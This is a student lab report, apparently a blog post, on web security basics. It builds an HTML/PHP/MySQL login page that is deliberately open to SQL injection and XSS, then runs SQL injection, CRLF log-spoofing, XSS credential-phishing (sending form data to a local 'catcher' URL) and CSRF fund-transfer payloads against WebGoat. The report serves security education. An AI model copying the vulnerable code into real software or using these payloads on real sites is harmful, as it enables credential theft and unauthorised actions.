20192408 胡益琳 2021-2022-2 《网络与系统攻防技术》实验八实验报告

1.实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

实验点一:Web前端HTML

1.能正常安装、启停Apache。

  • kali默认已安装Apache,直接使用service apache2 start打开Apache服务即可。没有报错则说明开启成功
  • 打开浏览器,在网址栏输入127.0.0.1,显示Apache默认网页,表示服务开启成功

2.理解HTML,理解表单,理解GET与POST方法

  • HTML:超文本标记语言,是一种用于创建网页的标准标记语言。HTML允许嵌入图像与对象,并且可以用于创建交互式表单,它被用来结构化信息——例如标题、段落和列表等等,也可用来在一定程度上描述文档的外观和语义。
    HTML可以嵌入如JavaScript的脚本语言,它们会影响HTML网页的行为。网页浏览器也可以引用层叠样式表(CSS)来定义文本和其它元素的外观与布局。
  • 表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
  • GET - 从指定的资源请求数据。
    POST - 向指定的资源提交要被处理的数据。
    get是把参数数据队列加到提交表单的action属性所指的url中,值和表单内各个字段一一对应,在url中可以看到。
    post是通过http post机制,将表单内各个字段与其内容放置在html header内一起传送到action属性所指的url地址。用户看不到这个过程。

3.编写一个含有表单的HTML

  • 使用cd /var/www/html命令进入Apache目录下,新建一个简单的含有表单的html文件login2408.html

  • 在浏览器中输入/var/www/html/login2408.html,打开网页如图所示

实验点二:Web前端javascipt

(1)理解JavaScript的基本功能,理解DOM。

  • JavaScript是一种具有函数优先的轻量级,解释型或即时编译型的编程语言,其功能有:
    1、嵌入动态文本于HTML页面;
    2、对浏览器事件做出响应;
    3、读写HTML元素;
    4、在数据被提交到服务器之前验证数据;
    5、检测访客的浏览器信息等。
  • 文档对象模型 (DOM) 是 HTML 和 XML 文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将 web 页面和脚本或程序语言连接起来。

(2)编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”

  • 在原有login2408.html的基础上添加一段JavaScript代码,用来判断邮箱与密码是否为空。代码如下:
<html>
<head>
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<body>

    <h2 align="center">Login</h2>
    <center>
        <form action="login2408.php" method="post" name="form_login">
            <input placeholder="E-mail" name="Email" class="user" type="text" onfocus="if (this.value=='Your email') this.value='';" />
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
            <br>
            </br>
            <input type="submit" value="Login"  onClick="return validateLogin()"/>
        </form>
    </center>

<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.Email.value ;  
        var sPassword = document.form_login.Password.value ;    
        if ((sUserName =="") || (sUserName=="Your email")){  
        alert("Please enter the Email!");  
        return false ;  
        }  

        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("Please enter the Password!");  
        return false ;  
        }  

    }   
</script>  

</body>
</html>

  • 在浏览器访问/var/www/html/login2408.html,未输入用户邮箱或是密码就提交,网页会出现弹窗提示

  • 编写php文件如下,用户点击登录按钮后回显欢迎+用户名
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['Email'];?></h1>
</body>
</html>

实验点三:Web后端:MySQL基础

1.正常安装、启动MySQL

  • 输入 service mysql start 开启MySQL服务
    输入 mysql -u root -p使用root权限进入,默认的密码是password
    用 show databases; 查看数据库基本信息
    (注意在mysql中输入命令时需要在命令末尾添加;)

2.修改密码

  • 依次输入如下命令:
    use mysql; 选择使用mysql这个数据库。
    select user, password, host from user; 查看当前用户信息
    update user set password=PASSWORD("新密码") where user='root'; 修改密码,发现无法修改
    输入set password for root@'localhost'= password(‘20192408’);密码修改成功
    再次输入 select user, password, host from user; 查看当前用户信息,可以看到密码序列发生变化,密码修改成功
    输入flush privileges; 更新权限
    quit 退出数据库,使用新的密码登录


3.建库、创建用户、建表

  • 输入 mysql -u root -p用新密码登录
    使用create database hyl; 建立数据库
    使用 show databases; 查看存在的数据库
    使用 use hyl; 使用我们创建的数据库
    用 create table 表名 (字段设定列表); 建立数据库表,并设置字段基本信息:
    create table login (username VARCHAR(20),password VARCHAR(20));
    使用show tables;查看表信息

  • 使用 insert into 表名 values('值1','值2','值3'...); 插入数据
    insert into login values('20192408hyl@qq.com','hyl2408');
    使用 select * from 表名; 查询表中的数据
    select * from login;

    在MySQL中增加新用户,使用grant select,insert,update,delete on 数据库.* to 用户名@登录主机(可以是localhost,也可以是远程登录方式的IP) identified by "密码";指令,这句话的意思是:将对某数据库的所有表的select,insert,update,delete权限授予当前主机localhost登录的用户huyilin,192408是登录密码:
    grant select,insert,update,delete on hyl.* to huyilin@localhost identified by "192408";

  • 增加新用户后,exit退出,然后输入mysql -u xingchaoyuan -p,使用新的用户名和密码进行登录:

    登录成功,说明成功增加新用户。

实验点四:Web后端

编写PHP网页,连接数据库,进行用户认证

  • 编写login2408.php,结合之前编写的login2408.html登录网页并连接数据库进行登录身份验证,login2408.php代码如下:
<?php
$uname=$_POST["Email"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "huyilin", "192408", "hyl");
$query_str1="use hyl;";

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
echo " Successfully connected!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
    if ($result->num_rows > 0 ){
            echo "<br> {$uname}:Welcome! <br> ";
    } 
    else {
        echo "<br> Login Fail! <br> " ; }
    /* free result set */
    $result->close();
}
$mysqli->close();
?>

  • 在浏览器输入127.0.0.1/login.html访问自己的登录界面。

    输入之前插入数据库的正确用户名与密码。如图为登录成功页面。

    输入错误密码,显示登录失败。

实验点五:最简单的SQL注入,XSS攻击测试

  • SQL注入:
    在用户名输入框输入' or 1=1#,密码任意输入,可登录成功:


    这里要注意如果前端表单中Email输入框的type为email,则无法注入成功,需要是text才行
  • XSS攻击:
    在用户名输入,密码随便输.

    登录界面出现弹窗。

实验点六:安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

任务一:安装WebGoat

  • 首先下载webgoat-container-7.0.1-war-exec.jar。下载链接
  • 在下载后的文件目录下执行命令java -jar webgoat-container-7.1-exec.jar
  • 打开浏览器在输入网址http://localhost:8080/WebGoat进入WebGoat的登录界面,按照提示输入用户名和密码,这里输入的都是guest

    登录后页面如下:

    这里还需要配置jdk,具体步骤参考,注意修改为对应版本。


  • 使用java -version和javac -version命令来检验是否配置成功。

    如图所示,配置完成。配置成功后在文件目录下重新执行命令java -jar webgoat-container-7.0.1-war-exec.jar,再进入浏览器,可以看到左侧界面增加了相应功能。

任务二 SQL注入攻击

  1. 数字型注入:Numeric SQL Injection
  • 在左侧菜单栏选择Injection Flaws-Numeric SQL Injection,随意选择一个城市,点击Go后即可显示该城市的天气信息
  • 右键单击页面选择Inspect(Q),对网页源代码进行修改,如图选择Columbia,在value值中添加or 1=1。
  • 再次选择Columbia,单击Go,可以看到系统执行了如图SELECT语句,显示了所以城市的天气信息,攻击成功。
  1. 日志欺骗:Log Spoofing
  • 左侧菜单选择Log Spoofing,正常输入guest登录显示如图:
  • 在username中输入Smith%0d%0aLogin Succeeded for username: admin,通过注入回车%0d和换行符%0a来达到日记欺骗效果。如图为攻击后的日志显示:

3.字符串注入:String SQL Injection

  • 左侧菜单选择String SQL Injection,输入Smith再单击Go,则会显示Smith的信息。
  • 进行SQL注入攻击,输入' or 1=1 --,则可以显示所有信息。

任务三 XSS攻击

1.Phishing with XSS

  • 左侧菜单栏选择Cross-Site Scripting(XSS)- Phishing with XSS,并将以下代码输入到search输入框中。
<head>
<body>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 单击search,出现了用户名和密码的输入框
  • 输入用户名和密码,单击login提交后出现弹窗,表示xss攻击成功

2.存储型XSS攻击:Stored XSS Attacks

  • 左侧菜单选择Stored XSS Attacks,Title中任意输入,这里输入的是20192408,在message中输入如下代码:
<head>
<body>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack!Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 点击submit提交,下面Message List会新增刚输入的title的名字的链接,如图title为20192408
  • 单击链接可以看到输入框,输入用户名和密码并点击login提交,即会有弹窗显示已被攻击,攻击者成功获取输入的用户名和密码。

3.反射型XSS攻击:Reflected XSS Attacks

  • 左侧菜单栏选择Reflected XSS Attacks,在Enter your three digit access code框中输入代码

再单击Purchase会成功显示警告框,里面是我们输入的内容。

任务四 CSRF攻击

1.跨站请求伪造:Cross Site Request Forgery (CSRF)

  • 首先查看页面右侧Parameters中的scr和menu值
  • 在Title中任意输入,在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
    这里是以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 点击Submit提交。

    提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,能在后台进行一些攻击操作。

    2.绕过CSRF确认:CSRF Prompt By‐Pass
  • 同样查看页面右侧Parameters中的scr和menu值
  • 在Title中任意输入,在message中输入:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>


提交之后同样生成链接。

点开链接,攻击成功。

3.问题及解决方案

  • 问题1:浏览器打开html并输入用户名密码后无法成功跳转到php文件页面
  • 问题1解决方案:更换为2021版本的kali即可成功跳转。
  • 问题2:安装WebGoat后左侧菜单栏功能不全。
  • 问题2解决方案:未配置jdk,按照网上的教程配置jdk后在文件目录下重新执行命令java -jar webgoat-container-7.0.1-war-exec.jar,再进入浏览器即可。
  • 问题3:尝试SQL注入时显示输入字符串过长。
  • 问题3解决方案:在网页上右键选择审查元素,将password密码框的maxlength值由8改为18即可成功注入。

4.学习感悟、思考等

本次实验任务量比较大,学习了web前端HTML、javascipt的编写,后端MySQL的使用与PHP网页的编写,以及SQL注入、XSS攻击、CSRF攻击测试的基本内容,相对来说收获还是很大的。kali比较方便的是自带了Apache和MySQL,不用像上学期一样在主机上配置老半天。注意在使用MySQL时登录后的每一句命令后面都需要加;否则会报错。对于SQL注入语句的掌握还不够熟练,还需要在课下继续学习实践。另外在web渗透中还有一些常用的工具例如buipsuite,尽管在本次实验中好像没有涉及到,但是看到有一些博客在完成SQL注入和CSRF攻击时也用到了buipsuite,需要更熟练地掌握常用工具的使用。

posted @ 2022-06-11 20:02  猫咪小铺  阅读(152)  评论(0)    收藏  举报